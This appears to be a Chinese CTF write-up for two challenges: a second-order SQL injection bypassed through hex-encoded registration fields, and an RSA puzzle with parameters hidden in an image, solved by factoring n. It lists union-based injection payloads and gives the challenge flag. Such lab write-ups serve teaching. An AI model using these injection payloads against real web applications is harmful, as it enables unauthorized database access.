Buy Flag
这道题跟今天强网杯的Three hit
如出一辙,题目是一个二次注入,用户注册会将age存入数据库,登陆成功后index.php界面会从数据库中查询具有相同age的username。
二次注入:源于开发人员对数据库中的数据太过信任,凡是提取数据库中来自用户的数据不经过处理,即可触发二次注入。
刚开始做这道题的时候查看html源码发现
1 | function BuyFlag(){ |
很容易可以利用age=18绕过,然而并没有什么用…
发现age必须为数字。可以通过hex编码绕过,于是开始下面的测试过程
测试过程:
判断为 “字符型注入”
1’ 即 age=0x3127 注册成功, 登陆成功&页面显示异常
1’# age=0x312723 注册成功, 登陆成功&页面显示正常
寻找注入点
其实这一步是在不停的胡乱测试中偶然发现的 2333… 发现这里的内部并不是固定的
1’ and 1=2#
判断字段数
1’ order by 1# 正常
1’ order by 2# 异常
1’ and 1=2 union select 123# 注入点处显示123爆库
1 | 1' and 1=2 union select database()# |
简单的RSA
010Editor打开图片发现隐藏的rsa参数
1 | n=52A99E249EE7CF3C0CBF963A009661772BC9CDF6E1E3FBFC6E44A07A5E0F894457A9F81C3AE132AC5683D35B28BA5C324243 |
已知n、e、cipher, 来恢复明文,利用在线因式分解http://factordb.com/ (注: 输入需要为十进制),或者使用工具yafu分解
1 | p = 863653476616376575308866344984576466644942572246900013156919 |
已知p、q、e、c,求明文
1 | # coding = utf-8 |
flag: TSCTF{ez_rsa_real_ez~}
个人感受:
- 各种进制转换,尤其是位数较长的,再也不相信在线网站的转换了!!!